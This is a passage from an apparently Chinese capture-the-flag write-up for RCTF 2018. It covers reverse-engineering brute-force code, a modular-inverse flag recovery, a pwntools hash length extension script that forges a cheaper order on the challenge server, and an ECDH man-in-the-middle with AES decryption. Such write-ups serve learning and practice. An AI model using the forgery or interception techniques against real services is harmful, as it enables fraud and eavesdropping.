        for (j = 0; j != 0xFFFFFFFF; j++)
        {
            n = j * 0x100000000;
            n += aa[i];
            if (n % bb[i] == 0)
            {
                cc[i] = n / bb[i];
                printf("cc[%d] == %08X\n", i, cc[i]);
                break;
            }
        }
    }
    p = (char*)cc;
    for (i = 0; i < 24; i++)
    {
        printf("%c", p[i]);
    }
    return 0;
}

cc[0] == 4D5F6F35
cc[1] == 5F796E40
cc[2] == 69376E61
cc[3] == 7665525F
cc[4] == 69737233
cc[5] == 545F676E
5o_M@ny_an7i_Rev3rsing_T

穷举第二段8个字符:

#include <stdio.h>
#include <stdint.h>

uint32_t foo1(uint16_t a1, uint16_t a2)
{
    uint16_t v2; // ST16_2
    uint16_t i; // [rsp+0h] [rbp-18h]
    uint16_t v5; // [rsp+4h] [rbp-14h]

    v5 = a1;
    for (i = a2; i & v5; i = 2 * (i & v2))
    {
        v2 = v5;
        v5 ^= i;
    }
    return i | v5;
}

uint32_t foo2(uint32_t x, uint32_t y, uint32_t n)
{
    uint32_t yy; // [rsp+4h] [rbp-18h]
    uint64_t v5; // [rsp+Ch] [rbp-10h]
    uint64_t v6; // [rsp+14h] [rbp-8h]

    yy = y;
    v6 = 1LL;
    v5 = x;
    while (yy)
    {
        if (yy & 1)
            v6 = v5 * v6 % n;
        v5 = v5 * v5 % n;
        yy >>= 1;
    }
    return v6;
}

int main()
{
    char buf[8];
    int i1, i2, i3, i4, i5, i6, i7, i8, i, j, v;
    uint32_t *p1;
    uint16_t *p2, *p3;
    p1 = (uint32_t *)(buf + 0);
    p2 = (uint16_t *)(buf + 4);
    p3 = (uint16_t *)(buf + 6);
    for (i1 = 0x20; i1 < 0x7F; i1++)
    {
        buf[4] = i1;
        for (i2 = 0x20; i2 < 0x7F; i2++)
        {
            buf[5] = i2;
            for (i3 = 0x20; i3 < 0x7F; i3++)
            {
                buf[6] = i3;
                for (i4 = 0x20; i4 < 0x7F; i4++)
                {
                    buf[7] = i4;
                    if (foo1(*p2, *p3) == 0xA496) // -----
                    {
                        for (i5 = 0x20; i5 < 0x7F; i5++)
                        {
                            buf[0] = i5;
                            for (i6 = 0x20; i6< 0x7F; i6++)
                            {
                                buf[1] = i6;
                                for (i7 = 0x20; i7 < 0x7F; i7++)
                                {
                                    buf[2] = i7;
                                    // -------- i8
                                    buf[3] = 0;
                                    v = 0;
                                    for (i = 0; i < 8; i++)
                                    {
                                        v ^= buf[i];
                                    }
                                    i8 = 22 ^ v;
                                    if (i8 < 0x7F && i8 > 0x20)
                                    {
                                        buf[3] = i8;
                                        if (foo2(*p1, *p2, 0xF64BB17D) == 0x6F82C8DC)
                                        {
                                            for (i = 0; i < 8; i++)
                                            {
                                                printf("%c", buf[i]);
                                            }
                                            printf("\n");
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    return 0;
}

echn!qu3

第33个字符's'

flag: RCTF{5o_M@ny_an7i_Rev3rsing_Techn!qu3s}

babyre2

uint64_t data[8] =

{

0x2B7192452905E8FB,

0x7BA58F82BD898035,

0xA3112746582E1434,

0x163F756FCC221AB0,

0xECC78E6FB9CBA1FE,

0xDCDD8B49EA5D7E14,

0xA2845FE0B3096F8E,

0xAAAAAAAAAA975D1C,

};

uint64_t mull[8] =

{

0x20656D6F636C6557,

0x2046544352206F74,

0x6548202138313032,

0x2061207369206572,

0x6320455279626142,

0x65676E656C6C6168,

0x756F7920726F6620,

0xFFFFFFFFFFFF002E,

};

uint64_t modd = 0xFFFFFFFFFFFFFFC5;

(input[i] * mull[i]) % modd = data[i]

(A * mull) % modd = data 化成 A % modd = data*mull^(-1)

再A=data*mull^(-1) modd,然后上脚本

#-*- coding:utf-8 -*-
flag = ""
def     gcd(a,b):
        while a!=0:
            a,b = b%a,a
        return b
#定义一个函数,参数分别为a,n,返回值为b
def     findModReverse(a,m):#这个扩展欧几里得算法求模逆

        if gcd(a,m)!=1:
            return None
        u1,u2,u3 = 1,0,a
        v1,v2,v3 = 0,1,m
        while v3!=0:
            q = u3//v3
            v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
        return u1%m

print findModReverse(3,11)
d = 0xFFFFFFFFFFFFFFC5
a = [0x20656D6F636C6557,0x2046544352206F74,0x6548202138313032,0x2061207369206572,0x6320455279626142,0x65676E656C6C6168,0x756F7920726F6620,0xFFFFFFFFFFFF002E]
a_re = []

for i in a:
    num = findModReverse(i,d)
    #print hex(num)
    a_re.append(num)


data = [0x2B7192452905E8FB,0x7BA58F82BD898035,0xA3112746582E1434,0x163F756FCC221AB0,0xECC78E6FB9CBA1FE,0xDCDD8B49EA5D7E14,0xA2845FE0B3096F8E,0xAAAAAAAAAA975D1C]

#for j in range(len(a)):
for k in range(len(a)):
    #print k
    num = (a_re[k] * data[k]) % d
    print hex(num),hex(num)[2:-1].decode('hex')
    flag += hex(num)[2:-1].decode('hex')[::-1]

print flag

0x04 Crypto

cpushop

nc连接是个cpu商店,flag很贵买不起,支付时验证了order,order的sign由一个随机signkey和订单信息生成,可能存在哈希长度拓展攻击,通过修改价格买下flag
(打扰了,signkey的长度为random.randint(8,32))

通过哈希长度拓展攻击来修改订单价格

from pwn import *
import os
import hashpumpy

s=remote('cpushop.2018.teamrois.cn',43000)
s.recvuntil('Command:')
s.sendline('1')
s.recvuntil('Command:')
s.sendline('2')
s.recvuntil('Product ID:')
s.sendline('9')
s.recvuntil('Your order:')
s.recvline()
a=s.recvline()
timestamp=a[35:51]
sign=a[57:-1]
print a
print timestamp
print sign,len(sign)

for i in range(8,32):
hax=hashpumpy.hashpump(sign,'product=Flag&price=99999&timestamp='+timestamp,'&product=Flag&price=9&timestamp='+timestamp,i)
    #print hax
    payload=hax[1]+'&sign='+hax[0]
    #print payload
    s.recvuntil('Command:')
    s.sendline('3')
    s.recvuntil('Your order:')
    s.sendline(payload)
    pp=s.recvline()
    print pp
    if "Order" not in pp:
        s.interactive()

s.interactive()

ECDH

查阅资料得到:https://github.com/esxgx/easy-ecc

和几个关键字:ECDH、secp128r1、AES、ECB

github项目有4个函数:生成密钥、计算共享密钥、签名、验证签名

首先要问Alice和bob的公钥,然后交换给对方,Alice才会说出密文,Bob只会把密文告诉Alice

大概就是用中间人攻击获取明文

emm。。现在会生成密钥对了,但是不知道怎么解密。。

使用自己的私钥和Bob的公钥生成的共享密钥 解
Alice发出的密文:失败(其实是可以成功,就是要自己写脚本)

过程:

生成自己的密钥对

找bob要pubkey,顺便把自己的pubkey作为alice的pubkey给bob

结合自己的prikey和bob的pubkey生成shared_key

找bob把flag发给alice,再去alice那边接收密文

用shared_key作为密钥,用AES的ECB模式解密Alice给的密文

# -*- coding: utf-8 -*-
# aes_decrypt.py
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex

class AESCrypto():
    def __init__(self,key):
        self.key = key
        self.mode = AES.MODE_ECB

    def decrypt(self,text):
        cryptor = AES.new(self.key,self.mode,b'0000000000000000')
        plain_text  = cryptor.decrypt(a2b_hex(text))
        return plain_text

if __name__ == '__main__':
    p_secret = '841747f83b3367c2331069ef167d0179'
    print "key:       ",p_secret
    pc = AESCrypto(a2b_hex(p_secret))
    e = '1d6002b9d8d721039c602a8c46fb4e2ea96d1bacf28e3c41635ea493df02f80e'
    d = pc.decrypt(e)
    print "ciphertext:",e
    print "decrypt:   ",d
附件:
8 条评论
某人
表情
可输入 255